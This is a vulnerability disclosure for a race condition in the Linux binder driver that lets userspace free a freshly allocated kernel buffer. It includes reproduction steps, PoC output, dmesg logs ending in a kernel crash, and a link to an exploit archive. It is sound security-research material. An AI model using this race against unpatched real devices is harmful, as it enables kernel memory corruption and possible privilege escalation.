The following bug report solely looks at the situation on the upstream master
branch; while from a cursory look, at least the wahoo kernel also looks
affected, I have only properly tested this on upstream master.
The binder driver permits userspace to free buffers in the kernel-managed shared
memory region by using the BC_FREE_BUFFER command. This command implements the
following restrictions:
- binder_alloc_prepare_to_free_locked() verifies that the pointer points to a
buffer
- binder_alloc_prepare_to_free_locked() verifies that the ->free_in_progress
flag is not yet set, and sets it
- binder_thread_write() verifies that the ->allow_user_free flag is set
The first two of these checks happen with alloc->mutex held.
The ->free_in_progress flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_alloc_prepare_to_free_locked() sets it to 1 when starting to free a
buffer
- binder_alloc_new_buf_locked() sets it to 0 when a buffer is allocated
This means that a buffer coming from binder_alloc_new_buf() always has this flag
clear.
The ->allow_user_free flag can be set in the following places:
- new buffers are allocated with kzalloc() and therefore have the flag set to 0
- binder_transaction() sets it to 0 after allocating a buffer with
binder_alloc_new_buf()
- binder_thread_read() sets it to 1 after an allocated buffer has been filled
with data for userspace
This means that a buffer coming from binder_alloc_new_buf() may have the flag
either clear or set: If the buffer is new, the bit is 0; but if the buffer has
previously been used, the bit remains 1 from the previous use.
Therefore, it can be possible for userspace to free a buffer coming from
binder_alloc_new_buf(). Directly after the call to binder_alloc_new_buf(),
->allow_user_free is set to zero; but there is a small race window in which an
attacker can use BC_FREE_BUFFER to free the buffer.
I am attaching a proof of concept for the upstream git master kernel running on
a normal desktop system.
Unpack the attached binder_race_freebuf.tar.
Patch the kernel with 0001-binder-race-helper.patch to widen the race window and
add some debug logging. Build it and boot into it.
Use ./compile.sh to build the PoC, then run ./poc as root.
The output should look like this:
===============
# ./poc
### FIRST PING
0000: 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION:
target 0000000000000000 cookie 0000000000000000 code 00000001 flags 00000010
pid 1192 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
got transaction!
binder_send_reply(status=0)
offsets=0x7ffc68d94ec0, offsets_size=0
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 0 data 4 offs 0
0000: 00 . 00 . 00 . 00 .
binder_done: freeing buffer
binder_done: free done
### SECOND PING
0000: 00 . 00 . 00 . 00 .
### ATTEMPTING FREE IN RACE WINDOW
### END OF FREE IN RACE WINDOW, FLUSHING PAGE
### END OF PAGE FLUSH
===============
You should see something like this in dmesg (if you have
/sys/module/binder/parameters/debug_mask set to 16383):
===============
[ 71.555144] binder: binder_open: 1191:1191
[ 71.557091] binder: binder_mmap: 1191 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 71.560020] binder: 1191:1191 node 1 u0000000000000000 c0000000000000000 created
[ 71.563526] binder: 1191:1191 write 4 at 00007ffc68d95020, read 0 at 0000000000000000
[ 71.566453] binder: 1191:1191 BC_ENTER_LOOPER
[ 71.568390] binder: 1191:1191 wrote 4 of 4, read return 0 of 0
[ 71.571268] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 72.555736] binder: binder_open: 1192:1192
[ 72.558848] binder: binder_mmap: 1192 7f273d896000-7f273dc96000 (4096 K) vma 71 pagep 8000000000000025
[ 72.564619] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 72.568033] binder: 1192:1192 BC_TRANSACTION 2 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 72.571666] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 82.692703] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 82.699956] binder: 1191:1191 BR_TRANSACTION 2 1192:1192, cmd -2143260158 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 82.707859] binder: 1191:1191 wrote 0 of 0, read return 72 of 128
[ 82.712176] binder: 1191:1191 write 88 at 00007ffc68d94da0, read 0 at 0000000000000000
[ 82.715038] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for active transaction
[ 82.717791] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 82.720813] binder: 1191:1191 BC_REPLY 3 -> 1192:1192, data 00007ffc68d94ee0-00007ffc68d94ec0 size 4-0-0
[ 82.723643] binder: [1191] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=0 free_in_progress=0 free=0)
[ 92.932760] binder: [1191] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=0 free_in_progress=0 free=0)
[ 92.939182] binder: 1191:1191 wrote 88 of 88, read return 0 of 0
[ 92.939230] binder: 1192:1192 BR_TRANSACTION_COMPLETE
[ 92.943073] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.943077] binder: 1191:1191 BR_TRANSACTION_COMPLETE
[ 92.943088] binder: 1191:1191 wrote 0 of 0, read return 8 of 128
[ 92.946332] binder: 1192:1192 BR_REPLY 3 0:0, cmd -2143260157 size 4-0 ptr 00007f273d896000-00007f273d896008
[ 92.949858] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 92.952057] binder: 1192:1192 wrote 68 of 68, read return 76 of 128
[ 92.963782] binder: 1192:1192 write 12 at 00007ffc68d94024, read 0 at 0000000000000000
[ 92.966693] binder: 1192:1192 BC_FREE_BUFFER u00007f273d896000 found buffer 3 for finished transaction
[ 92.970073] binder: 1192 buffer release 3, size 4-0, failed at 000000004a5bea11
[ 92.972570] binder: 1192:1192 wrote 12 of 12, read return 0 of 0
[ 92.975094] binder: 1192:1192 write 68 at 00007ffc68d93fa0, read 128 at 00007ffc68d93f20
[ 92.978318] binder: 1192:1192 BC_TRANSACTION 4 -> 1191 - node 1, data 00007ffc68d94070-00007ffc68d94050 size 4-0-0
[ 92.981400] binder: [1192] ENTERING SLEEP BEFORE ZEROING allow_user_free (data{user}=0x00007f273d896000 allow_user_free=1 free_in_progress=0 free=0)
[ 93.975357] binder: 1191:1191 write 12 at 00007ffc68d94a60, read 0 at 0000000000000000
[ 93.980201] binder: 1191:1191 BC_FREE_BUFFER u00007f273d896000 found buffer 2 for finished transaction
[ 93.986293] binder: 1191 buffer release 2, size 4-0, failed at 000000004a5bea11
[ 93.989411] binder: 1191:1191 wrote 12 of 12, read return 0 of 0
[ 94.123942] poc (1191): drop_caches: 2
[ 94.124975] binder: 1191:1191 write 0 at 0000000000000000, read 128 at 00007ffc68d95020
[ 103.172683] binder: [1192] LEAVING SLEEP BEFORE ZEROING allow_user_free (allow_user_free=1 free_in_progress=1 free=1)
[ 103.179477] BUG: pagefault on kernel address 0xffffc90001656000 in non-whitelisted uaccess
[ 103.184390] BUG: unable to handle kernel paging request at ffffc90001656000
[ 103.186619] PGD 1ead31067 P4D 1ead31067 PUD 1eaeaa067 PMD 1e26bb067 PTE 0
[ 103.188645] Oops: 0002 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
[ 103.190386] CPU: 1 PID: 1192 Comm: poc Not tainted 4.20.0-rc3+ #221
[ 103.192262] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 103.195468] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.224384] Call Trace:
[ 103.225124] _copy_from_user+0x5e/0x90
[ 103.226231] binder_transaction+0xe2c/0x3a70
[...]
[ 103.245031] binder_thread_write+0x788/0x1b10
[...]
[ 103.262718] binder_ioctl+0x916/0xe80
[...]
[ 103.273723] do_vfs_ioctl+0x134/0x8f0
[...]
[ 103.279071] ksys_ioctl+0x70/0x80
[ 103.279968] __x64_sys_ioctl+0x3d/0x50
[ 103.280998] do_syscall_64+0x73/0x160
[ 103.281989] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[...]
[ 103.302367] ---[ end trace aa878f351ca08969 ]---
[ 103.303412] RIP: 0010:copy_user_generic_unrolled+0xa0/0xc0
[...]
[ 103.327111] binder: 1192 close vm area 7f273d896000-7f273dc96000 (4096 K) vma 18020051 pagep 8000000000000025
[ 103.329459] binder: binder_flush: 1192 woke 0 threads
[ 103.329497] binder: binder_deferred_release: 1192 threads 1, nodes 0 (ref 0), refs 0, active transactions 0
===============
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46503.zip
